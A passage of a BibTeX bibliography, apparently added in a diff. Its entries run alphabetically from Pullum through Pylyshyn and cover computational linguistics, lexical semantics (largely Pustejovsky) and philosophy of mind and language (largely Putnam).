Journal}, + journal = {Natural Language and Linguistic Theory}, + year = {1984}, + volume = {2}, + pages = {261--267}, + topic = {academic-editorial;journal-management;} + } + +@book{ pullum:1991a, + author = {Geoffrey K. Pullum}, + title = {The Great {E}skimo Vocabulary Hoax, and Other Irreverent + Essays on the Study of Language}, + publisher = {University of Chicago Press}, + year = {1991}, + address = {Chicago}, + ISBN = {0226685330}, + topic = {linguistics-essays;} + } + +@inproceedings{ pulman:1994a, + author = {Stephen G. Pulman}, + title = {A Computational Theory of Context Dependence}, + editor = {Harry Bunt and Reinhard Muskens and Gerrit Rentier}, + pages = {161--170}, + booktitle = {IWCS}, + year = {1994}, + address = {Tilburg}, + topic = {context;nl-processing;} + } + +@article{ pulman:1995a, + author = {Stephen G. Pulman}, + title = {Review of {\it Reversible Grammar in Natural Language + Processing}, by {T}omek {S}trzalkowski}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {2}, + pages = {269--271}, + xref = {Review of strzalkowski:1994a.}, + topic = {reversible-grammar;nl-processing;} + } + +@article{ pulman:1996a, + author = {Steven G. Pulman}, + title = {Unification Encodings of Grammatical Notations}, + journal = {Computational Linguistics}, + year = {1996}, + volume = {22}, + number = {3}, + pages = {295--327}, + topic = {grammar-formalisms;unification-grammars;} + } + +@article{ pulman:1997a, + author = {Stephen G. Pulman}, + title = {Higher Order Unification and the Interpretation of Focus}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {1}, + pages = {73--115}, + topic = {unification;sentence-focus;pragmatics;higher-order-unification;} + } + +@article{ pulman:1999a, + author = {Stephen G. Pulman}, + title = {Review of {\it Type-Logical Semantics}, by + {B}ob {C}arpenter}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {3}, + pages = {445--446}, + topic = {categorial-grammar;nl-semantics;} + } + +@article{ pulman:2000a, + author = {Stephen G. Pulman}, + title = {Bidirectional Context Resolution}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {497--537}, + topic = {context;anaphora;ellipsis;anaphora-resolution;} + } + +@incollection{ punyakanok-roth:2000a, + author = {Vasin Punyakanok and Dan Roth}, + title = {Shallow Parsing by Inferencing with Classifiers}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {107--110}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;text-skimming;} + } + +@inproceedings{ purang-etal:1996a, + author = {Khemdat Purang and Donald Perlis and John Gurney}, + title = {Active Logic Applied to Cancellation of {G}ricean + Implicature}, + booktitle = {Computational Implicature: Computing Approaches to + Interpreting and Generating Conversational Implicature}, + year = {1996}, + editor = {Barbara {Di Eugenio} and Nancy L. Green}, + pages = {86--96}, + publisher = {AAAI}, + note = {Unpublished Working Notes, {AAAI} Spring Symposium.}, + topic = {implicature;pragmatics;active-logic;} + } + +@inproceedings{ purang-etal:1999a, + author = {Khemdut Purang and Darsana Purushothaman and David Traum + and Carl Andersen and Don Perlis}, + title = {Practical Reasoning and Plan Execution with Active + Logic}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + year = {1999}, + editor = {John Bell}, + pages = {30--38}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {practical-reasoning;active-logic;} + } + +@article{ purdom:1983a, + author = {Paul Walton {Purdom, Jr.}}, + title = {Search Rearrangement Backtracking and Polynomial Average + Time}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {1--2}, + pages = {117--133}, + topic = {search;AI-algorithms-analysis;backtracking;polynomial-algorithms;} + } + +@article{ purves:1993a, + author = {Dale Purves}, + title = {Brain or Mind? A Review of {A}llen {N}ewell's + `Unified Theories of Cognition'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {371--373}, + xref = {Review of newell:1992a.}, + topic = {SOAR;cognitive-architectures;} + } + +@book{ pustejovsky-sells:1982a, + editor = {James Pustejovsky and Peter Sells}, + title = {{NELS 12}: Proceedings of the Twelfth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1982}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@book{ pustejovsky-bergler:1987a, + editor = {James Pustejovsky and Sabine Bergler}, + title = {Lexical Semantics and Knowledge Representation}, + publisher = {Springer Verlag}, + year = {1987}, + number = {627}, + series = {Lecture Notes in Artificial Intelligence}, + address = {Berlin}, + topic = {machine-translation;nl-kr;computational-lexical-semantics;} + } + +@techreport{ pustejovsky:1988a, + author = {James Pustejovsky}, + title = {The Geometry of Events}, + institution = {Linguistics Department, Massachusetts Institute of + Technology}, + year = {1988}, + address = {Lexicon Working Papers, Number 24.}, + topic = {tense-aspect;Aktionsarten;events;} + } + +@article{ pustejovsky:1988b, + author = {James Pustejovsky}, + title = {Constraints on the Acquisition of Semantic Knowledge}, + journal = {International Journal of Intelligent Systems}, + year = {1988}, + volume = {3}, + pages = {247--268}, + missinginfo = {number}, + topic = {L1-acquisition;nl-semantics;} + } + +@article{ pustejovsky:1991a, + author = {James Pustejovsky}, + title = {The Generative Lexicon}, + journal = {Computational Linguistics}, + year = {1991}, + volume = {17}, + number = {4}, + pages = {409--441}, + contentnote = {This is a systematic discussion. Coercion is mentioned, + there is an extensive discussion of lexical inheritance.}, + topic = {nl-kr;computational-lexical-semantics;nm-ling; + lexical-processing;semantic-coercion;} + } + +@incollection{ pustejovsky:1991b, + author = {James Pustejovsky}, + title = {Lexical Semantics}, + booktitle = {Encyclopedia of Artificial Intelligence}, + year = {1991}, + note = {2nd edition.}, + missinginfo = {publisher, address, editor, pages}, + topic = {lexical-semantics;} + } + +@article{ pustejovsky-boguraev:1991a, + author = {James Pustejovsky and Branamir Boguraev}, + title = {Lexical Knowledge Representation and Natural Language + Processing}, + journal = {{IBM} Journal of Research and Development}, + year = {1991}, + volume = {35}, + number = {4}, + missinginfo = {pages}, + topic = {nl-kr;computational-lexical-semantics;semantic-coercion;} + } + +@incollection{ pustejovsky:1992a, + author = {James Pustejovsky}, + title = {The Syntax of Event Structure}, + booktitle = {Lexical and Conceptual Semantics}, + year = {1992}, + editor = {Beth Levin and Steven Pinker}, + publisher = {Basil Blackwell Publishers}, + pages = {47--81}, + address = {Oxford}, + topic = {lexical-semantics;computational-lexical-semantics;events;} + } + +@incollection{ pustejovsky:1992b, + author = {James Pustejovsky}, + title = {Lexical Semantics}, + booktitle = {Encyclopedia of Artificial Intelligence, 2nd Edition}, + edition = {2}, + editor = {Stuart C. Shapiro}, + publisher = {John Wiley and Sons}, + year = {1992}, + missinginfo = {pages}, + topic = {lexical-semantics;} + } + +@book{ pustejovsky:1993a, + editor = {James Pustejovsky}, + title = {Semantics and the Lexicon}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + address = {Dordrecht}, + xref = {Discussion: fodor_ja-lepore:1998a, pustejovsky:1998a.}, + ISBN = {079231963X (acid-free paper)}, + contentnote = {TC: + 1. Ray Jackendoff, "X-bar Semantics" + 2. George Lakoff, "The Syntax of Metaphorical Semantic Roles" + 3. Malka Rappaport, Mary Laughren, and Beth Levin, "Levels of Lexical + Representation" + 4. William Croft, "Case Marking and the Semantics of Mental Verbs" + 5. James Pustejovsky, "Type Coercion and Lexical Selection" + 6. Jane Grimshaw and Edwin Williams, "Nominalization and + predicative prepositional phrases" + 7. Robert J.P. Ingria and Leland M. George, "Adjectives, + Nominals, and the Status of Arguments" + 10. Annie Zaenen, "Unaccusativity in Dutch: Integrating Syntax + and Lexical Semantics" + 11. T.R. Rapoport, "Verbs in Depictives and Resultatives" + 12. Tom Roeper, "Explicit Syntax in the Lexicon: The Representation of + Nominalizations" + 13. John F. Sowa, "Lexical Structure and Conceptual + Structures" + 14. Dan Fass, "Lexical semantic constraints" + 15. Sergei Nirenburg and Christine Defrise, "Models for Lexical + Knowledge Bases" + 16. Branimir Boguraev and Beth Levin, "Lexical and Conceptual + Structures for Knowledge Based Translation" + 17. Yorick Wilks, "Providing Machine Tractable Dictionary Tools" + } , + topic = {nl-kr;computational-lexical-semantics;semantic-coercion;} + } + +@incollection{ pustejovsky:1993b, + author = {James Pustejovsky}, + title = {Type Coercion and Lexical Selection}, + booktitle = {Semantics and the Lexicon}, + year = {1993}, + editor = {James Pustejovsky}, + publisher = {Kluwer Academic Publishers}, + pages = {73--94}, + topic = {nl-kr;computational-lexical-semantics;semantic-coercion;} + } + +@article{ pustejovsky-boguraev:1993a, + author = {James Pustejovsky and Branimir Boguraev}, + title = {Lexical Knowledge Representation and Natural Language + Processing}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {63}, + pages = {193--223}, + topic = {computational-lexical-semantics;machine-translation; + semantic-coercion;} + } + +@incollection{ pustejovsky:1995a, + author = {James Pustejovsky}, + title = {Linguistic Constraints on Type Coercion}, + booktitle = {Computational Lexical Semantics}, + publisher = {Cambridge University Press}, + year = {1995}, + editor = {Patrick Saint-Dizier and Evelyne Viegas}, + pages = {71--97}, + address = {Cambridge, England}, + topic = {nl-kr;computational-lexical-semantics;semantic-coercion;} + } + +@book{ pustejovsky:1995b, + author = {James Pustejovsky}, + title = {The Generative Lexicon}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachuesetts}, + ISBN = {0262161583}, + topic = {lexical-semantics;} + } + +@book{ pustejovsky-boguraev:1997a, + editor = {James Pustejovsky and Branamir Boguraev}, + title = {Lexical Semantics: The Problem of Polysemy}, + publisher = {Oxford University Press}, + year = {1997}, + address = {Oxford}, + contentnote = {TC: + 1. James Pustejovsky and Brian Boguraev, "Introduction: + Lexical Semantics in Context", pp. 1--14 + 2. Ann Copestake and Ted Briscoe, "Semi-Productive + Polysemy and Sense Extension", pp. 15--67 + 3. Nicholas Asher and Alex Lascarides, "Lexical Disambiguation + in a Discourse Context", pp. 69--108 + 4. Geoffrey Nunberg, "Transfers of Meaning", pp. 109--132 + 5. James Pustejovsky and Pierrette Bouillon, "Aspectual + Coercion and Logical Polysemy", pp. 133--162 + 6. Nicholas Asher and Pierre Sablayrolles, "A Typology and + Discourse Semantics for Motion Verbs and Spatial + {PP}s in {F}rench", pp. 163--207 + }, + ISBN = {019823662X}, + topic = {lexical-semantics;computational-lexical-semantics; + polysemy;pragmatics;} + } + +@incollection{ pustejovsky-boguraev:1997b, + author = {James Pustejovsky and Branamir Boguraev}, + title = {Introduction: Lexical Semantics in Context}, + booktitle = {Lexical Semantics: The Problem of Polysemy}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {James Pustejovsky and Brian Boguraev}, + pages = {1--14}, + address = {Oxford}, + topic = {ambiguity;lexical-semantics; + computational-lexical-semantics;polysemy;} + } + +@incollection{ pustejovsky-bouillon:1997a, + author = {James Pustejovsky and Pierrette Bouillon}, + title = {Aspectual Coercion and Logical Polysemy}, + booktitle = {Lexical Semantics: The Problem of Polysemy}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {James Pustejovsky and Brian Boguraev}, + pages = {133--162}, + address = {Oxford}, + topic = {tense-aspect;polysemy;lexical-semantics;} + } + +@article{ pustejovsky:1998a, + author = {James Pustejovsky}, + title = {Generativity and Explanation in Semantics: A Reply + to {F}odor and {L}epore}, + journal = {Linguistic Inquiry}, + year = {199}, + volume = {29}, + number = {1}, + pages = {289--311}, + xref = {Discussion of pustejovsky:1993a.}, + topic = {nl-kr;computational-lexical-semantics;lexical-semantics;} + } + +@incollection{ putnam:1960a1, + author = {Hilary Putnam}, + title = {Minds and Machines}, + booktitle = {Dimensions of Mind: A Symposium}, + publisher = {New York University Press}, + year = {1960}, + editor = {Sidney Hook}, + address = {New York}, + xref = {Republication: putnam:1960a2.}, + topic = {foundations-of-cognitive-science;philosophy-of-mind; + philosophy-AI;} + } + +@incollection{ putnam:1960a2, + author = {Hilary Putnam}, + title = {Minds and Machines}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {362--385}, + xref = {Republication of: putnam:1960a2.}, + topic = {foundations-of-cognitive-science;philosophy-of-mind; + philosophy-AI;} + } + +@incollection{ putnam:1961a2, + author = {Hilary Putnam}, + title = {Some Issues in the Theory of Grammar}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {85--116}, + xref = {Republication of: putnam:1961a1.}, + topic = {philosophy-of-linguistics;foundations-of-syntax; + foundations-of-semantics;} + } + +@incollection{ putnam:1962a1, + author = {Hilary Putnam}, + title = {The Analytic and the Synthetic}, + booktitle = {Minnesota Studies in the Philosophy of Science, + Volume {III}}, + publisher = {University of Minnesota Press}, + year = {1962}, + editor = {Herbert Feigl and Grover Maxwell}, + pages = {358--397}, + address = {Minneapolis}, + xref = {Republication: putnam:1962a2.}, + topic = {analyticity;} + } + +@incollection{ putnam:1962a2, + author = {Hilary Putnam}, + title = {The Analytic and the Synthetic}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {33--69}, + xref = {Republication of: putnam:1962a1.}, + topic = {analyticity;} + } + +@incollection{ putnam:1962b1, + author = {Hilary Putnam}, + title = {Dreaming and `Depth Grammar'\,}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + address = {New York}, + pages = {211--235}, + xref = {Commentary on: malcolm:1959a.}, + topic = {foundations-of-semantics;dreaming;} + } + +@incollection{ putnam:1962b2, + author = {Hilary Putnam}, + title = {Dreaming and `Depth Grammar'\,}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {304--324}, + xref = {Commentary on: malcolm:1959a.}, + topic = {foundations-of-semantics;dreaming;} + } + +@article{ putnam:1964a1, + author = {Hilary Putnam}, + title = {Robots: Machines or Artificially Created Life?}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {61}, + number = {21}, + pages = {668--691}, + xref = {Republication: putnam:1964a2.}, + xref = {Commentary: albritton:1964a.}, + topic = {foundations-of-AI;philosophy-of-mind;philosophy-AI;} + } + +@incollection{ putnam:1964a2, + author = {Hilary Putnam}, + title = {Robots: Machines or Artificially Created Life?}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {386--407}, + xref = {Republication of: putnam:1964a2.}, + xref = {Commentary: albritton:1964a.}, + topic = {foundations-of-AI;philosophy-of-mind;philosophy-AI;} + } + +@incollection{ putnam:1965a1, + author = {Hilary Putnam}, + title = {Brains and Behavior}, + booktitle = {Analytical Philosophy, Second Series}, + publisher = {Basil Blackwell}, + year = {1965}, + editor = {Ronald J. Butler}, + pages = {1--19}, + address = {Oxford}, + xref = {Republication: putnam:1965a2.}, + topic = {mind-body-problem;} + } + +@incollection{ putnam:1965a2, + author = {Hilary Putnam}, + title = {Brains and Behavior}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {325--341}, + xref = {Republication of: putnam:1965a1.}, + topic = {mind-body-problem;} + } + +@incollection{ putnam:1965b2, + author = {Hilary Putnam}, + title = {How Not to Talk about Meaning}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {117--131}, + topic = {foundations-of-semantics;philosophy-of-science;reduction;} + } + +@article{ putnam-ullian:1965a, + author = {Hilary Putnam and Joseph S. Ullian}, + title = {More about `About'\,}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {12}, + pages = {305--310}, + topic = {aboutness;} + } + +@article{ putnam:1967a1, + author = {Hilary Putnam}, + title = {The `Innateness Hypothesis' and Explanatory + Models in Linguistics}, + journal = {Synth\'ese}, + year = {1967}, + volume = {17}, + pages = {12--22}, + missinginfo = {number}, + xref = {Republication: putnam:1967a2.}, + topic = {philosophy-of-linguistics;foundations-of-syntax;} + } + +@incollection{ putnam:1967a2, + author = {Hilary Putnam}, + title = {The `Innateness Hypothesis' and Explanatory + Models in Linguistics}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {107--116}, + xref = {Republication of: putnam:1967a2.}, + topic = {philosophy-of-linguistics;foundations-of-syntax;} + } + +@incollection{ putnam:1969a1, + author = {Hilary Putnam}, + title = {Logical Positivism and the Philosophy of Mind}, + booktitle = {The Legacy of Logical Positivism}, + publisher = {Johns Hopkins Press}, + year = {1969}, + editor = {Peter Achinstein and Stephen F. Barker}, + address = {Baltimore}, + missinginfo = {pages}, + xref = {Republication: putnam:1969a1.}, + topic = {logical-positivism;philosophy-of-mind;} + } + +@incollection{ putnam:1969a2, + author = {Hilary Putnam}, + title = {Logical Positivism and the Philosophy of Mind}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {441--451}, + xref = {Republication of: putnam:1969a2.}, + topic = {philosophy-of-mind;} + } + +@article{ putnam:1970a1, + author = {Hilary Putnam}, + title = {Is Semantics Possible?}, + journal = {Metaphilosophy}, + year = {1970}, + volume = {1}, + number = {3}, + pages = {187--201}, + xref = {Republication: putnam:1970a2.}, + topic = {foundations-of-semantics;} + } + +@incollection{ putnam:1970a2, + author = {Hilary Putnam}, + title = {Is Semantics Possible?}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {139--152}, + xref = {Republication of: putnam:1970a1.}, + topic = {foundations-of-semantics;} + } + +@article{ putnam:1973a1, + author = {Hilary Putnam}, + title = {Reductionism and the Nature of Psychology}, + journal = {Cognition}, + year = {1973}, + volume = {2}, + pages = {131--146}, + missinginfo = {number}, + xref = {Republished: putnam:1973a2.}, + topic = {philosophy-of-mind;mind-body-problem; + philosophy-of-psychology;} + } + +@incollection{ putnam:1973a2, + author = {Hilary Putnam}, + title = {Reductionism and the Nature of Psychology}, + journal = {The Journal of Philosophy}, + booktitle = {Mind Design: Philosophy, Psychology, Artificial + Intelligence}, + publisher = {The {MIT} Press}, + year = {1981}, + editor = {John Haugeland}, + pages = {205--219}, + address = {Cambridge, Massachusetts}, + xref = {Originally Published: putnam:1973a1.}, + topic = {philosophy-of-mind;mind-body-problem; + philosophy-of-psychology;} + } + +@article{ putnam:1973b, + author = {Hilary Putnam}, + title = {Meaning and Reference}, + journal = {The Journal of Philosophy}, + year = {1973}, + volume = {70}, + number = {19}, + pages = {699--711}, + topic = {reference;semantics-of-proper-names;} + } + +@incollection{ putnam:1973c1, + author = {Hilary Putnam}, + title = {Explanation and Reference}, + booktitle = {Conceptual Change}, + publisher = {D. Reidel Publishing Co.}, + address = {Dordrecht}, + year = {1995}, + editor = {Glenn Pearce and Patrick Maynard}, + pages = {199--221}, + xref = {Republication: putnam:1973c2.}, + topic = {philosophical-realism;foundations-of-semantics;reference;} + } + +@incollection{ putnam:1973c2, + author = {Hilary Putnam}, + title = {Explanation and Reference}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {196--214}, + xref = {Republication of: putnam:1973c1.}, + topic = {philosophical-realism;foundations-of-semantics;reference;} + } + +@incollection{ putnam:1975a1, + author = {Hilary Putnam}, + title = {The Meaning of `Meaning'\,}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year = {1975}, + editor = {Keith Gunderson}, + pages = {131--193}, + address = {Minneapolis, Minnesota}, + xref = {Republication: putnam:1975a2.}, + topic = {methodological-solipsism;natural-kinds;reference; + philosophy-of-language;} + } + +@incollection{ putnam:1975a2, + author = {Hilary Putnam}, + title = {The Meaning of `Meaning'\,}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {215--271}, + xref = {Republication: putnam:1975a2.}, + topic = {methodological-solipsism;natural-kinds;reference; + philosophy-of-language;} + } + +@book{ putnam:1978a, + author = {Hilary Putnam}, + title = {Meaning and the Moral Sciences}, + publisher = {Routledge and Kegan Paul}, + year = {1987}, + address = {London}, + ISBN = {0 7100 8754 3}, + topic = {truth;foundations-of-semantics;philosophy-of-social-science;} + } + +@article{ putnam:1978b, + author = {Hilary Putnam}, + title = {There is at Least One A Priori Truth}, + journal = {Erkenntnis}, + year = {1978}, + volume = {13}, + pages = {153--170}, + topic = {philosophy-of-language;a-priori;} + } + +@incollection{ putnam:1979a, + author = {Hilary Putnam}, + title = {Reference and Understanding}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {199--217}, + address = {Dordrecht}, + topic = {reference;;philosophy-of-language;} + } + +@incollection{ putnam:1979b, + author = {Hilary Putnam}, + title = {Analyticity and Aprioity: Beyond {W}ittgenstein + and {Q}uine}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {423--441}, + address = {Minneapolis}, + topic = {analyticity;a-priori;} + } + +@article{ putnam:1982b, + author = {Hilary Putnam}, + title = {Comment on {F}odor's `Cognitive Science and the + Twin Earth Problem'\'}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1982}, + volume = {23}, + number = {3}, + pages = {294--295}, + topic = {foundations-of-semantics;content-externalism;twin-earth;} + } + +@book{ putnam:1983a, + author = {Hilary Putnam}, + title = {Realism and Reason}, + publisher = {Cambridge University Press}, + year = {1983}, + address = {Cambridge, England}, + topic = {philosophical-realism;} + } + +@article{ putnam:1983b, + author = {Hilary Putnam}, + title = {Vagueness and Alternative Logic}, + journal = {Erkenntnis}, + year = {1983}, + volume = {19}, + pages = {297--314}, + topic = {vagueness;} + } + +@incollection{ putnam:1983c, + author = {Hilary Putnam}, + title = {Models and Reality}, + booktitle = {Realism and Reason}, + publisher = {Cambridge University Press}, + year = {1983}, + editor = {Hilary Putnam}, + pages = {1--25}, + address = {Cambridge, England}, + xref = {Discussion: bays:2001a.}, + topic = {philosophical-realism;lowenheim-skolem-theorem;} + } + +@incollection{ putnam:1984a, + author = {Hilary Putnam}, + title = {Is the Causal Structure of the Physical Itself Something + Physical?}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {3--16}, + address = {Minneapolis}, + topic = {causality;philosophical-ontology;} + } + +@book{ putnam:1988a, + author = {Hilary Putnam}, + title = {Representation and Reality}, + publisher = {The {MIT} Press}, + year = {1988}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-of-mind;philosophy-of-psychology;} + } + +@book{ putnam:1995a, + author = {Hilary Putnam}, + title = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + contentnote = {TC: + 1. Hilary Putnam, "Introduction: Philosophy of Language and + the Rest of Philosophy", pp. vii--xvii + 2. Hilary Putnam, "Language and Philosophy", pp. 1--32 + 3. Hilary Putnam, "The Analytic and the Synthetic", pp. 33--69 + 4. Hilary Putnam, "Do True Assertions Correspond to + Reality?", pp. 70--84 + 5. Hilary Putnam, "Some Issues in the Theory of Grammar", pp. 85--116 + 6. Hilary Putnam, "The `Innateness Hypothesis' and Explanatory + Models in Linguistics", pp. 107--116 + 7. Hilary Putnam, "How Not to Talk about Meaning", pp. 117--131 + 8. Hilary Putnam, "Review of {\it The Concept of a + Person}", pp. 132--138 + 9. Hilary Putnam, "Is Semantics Possible?", pp. 139--152 + 10. Hilary Putnam, "The Refutation of Conventionalis,", pp. 153--191 + 11. Hilary Putnam, "Reply to {G}erald {M}assey", pp. 192--195 + 12. Hilary Putnam, "Explanation and Reference", pp. 196--214 + 13. Hilary Putnam, "The Meaning of `Meaning'\,", pp. 215--271 + 14. Hilary Putnam, "Language and Reality", pp. 272--290 + 15. Hilary Putnam, "Philosophy and Our Mental Life", pp. 291--303 + 16. Hilary Putnam, "Dreaming and `Depth Grammar'\,", pp. 304--324 + 17. Hilary Putnam, "Brains and Behavior", pp. 325--341 + 18. Hilary Putnam, "Other Minds", pp. 342--361 + 19. Hilary Putnam, "Minds and Machines", pp. 362--385 + 20. Hilary Putnam, "Robots: Machines or Artificially Created + Life?", pp. 386--407 + 21. Hilary Putnam, "The Mental Life of Some Machines", pp. 408--428 + 22. Hilary Putnam, "The Nature of Mental States", pp. 429--440 + 23. Hilary Putnam, "Logical Positivism and the Philosophy of + Mind", pp. 441--451 + } , + ISBN = {0 521 29551 3}, + topic = {analytic-philosophy;philosophy-of-mind; + philosophy-of-language;philosophy-of-AI;} +} + +@incollection{ putnam:1995b, + author = {Hilary Putnam}, + title = {Introduction: Philosophy of Language and + the Rest of Philosophy}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {vii--xvii}, + topic = {philosophy-of-language;philosophy-and-language;} + } + +@incollection{ putnam:1995c, + author = {Hilary Putnam}, + title = {Language and Philosophy}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {1--32}, + topic = {philosophy-of-language;philosophy-and-language;} + } + +@incollection{ putnam:1995d, + author = {Hilary Putnam}, + title = {Do True Assertions Correspond to Reality?}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {70--84}, + topic = {truth;semantic-paradoxes;} + } + +@incollection{ putnam:1995e, + author = {Hilary Putnam}, + title = {Language and Reality}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {272--290}, + topic = {foundations-of-semantics;realism;reference;} + } + +@incollection{ putnam:1995f, + author = {Hilary Putnam}, + title = {Philosophy and Our Mental Life}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {291--303}, + topic = {mind-body-problem;functionalism;} + } + +@incollection{ putnam:1995g, + author = {Hilary Putnam}, + title = {Other Minds}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {342--361}, + xref = {Commentary on: ziff:1965a.}, + topic = {other-minds;} + } + +@article{ putnam:1995h, + author = {Hilary Putnam}, + title = {Review of {\em Shadows of the Mind}, by {R}oger {P}enrose}, + journal = {Bulletin of the {A}merican {M}athematical {S}ociety}, + year = {1995}, + volume = {32}, + pages = {370--373}, + missinginfo = {number}, + topic = {foundations-of-cognition;goedels-first-theorem; + foundations-of-computation;goedels-second-theorem;} + } + +@incollection{ putnam:1995i, + author = {Hilary Putnam}, + title = {Review of {\it The Concept of a Person}, by {A}.{J}. + {A}yer}, + booktitle = {Mind, Language and Reality: Philosophical Papers, Volume 2}, + publisher = {Cambridge University Press}, + address = {Cambridge, England}, + year = {1995}, + editor = {Hilary Putnam}, + pages = {132--138}, + xref = {Review of: ayer:1963a.}, + topic = {ordinary-language-philosophy;} + } + +@unpublished{ pylkkanen:1997a, + author = {Liina Pylkk\"anen}, + title = {The Semantics of {F}innish Causatives}, + year = {1997}, + note = {Unpublished manuscript, Linguistics Department, University + of Pittsburgh}, + topic = {Finnish-language;lexical-semantics;causatives;} + } + +@book{ pylyshyn:1970a, + editor = {Zenon W. Pylyshyn}, + title = {Perspectives on the Computer Revolution}, + publisher = {Prentice-Hall}, + year = {1970}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0136607616}, + topic = {social-impact-of-computation;} + } + +@article{ pylyshyn:1973a, + author = {Zenon Pylyshyn}, + title = {Competence and Psychological Reality}, + journal = {American Psychologist}, + year = {1972}, + volume = {27}, + pages = {546--552}, + topic = {philosophy-of-linguistics;competence;psychological-reality;} + } + +@article{ pylyshyn:1973b, + author = {Zenon Pylyshyn}, + title = {The Role of Competence Theories in 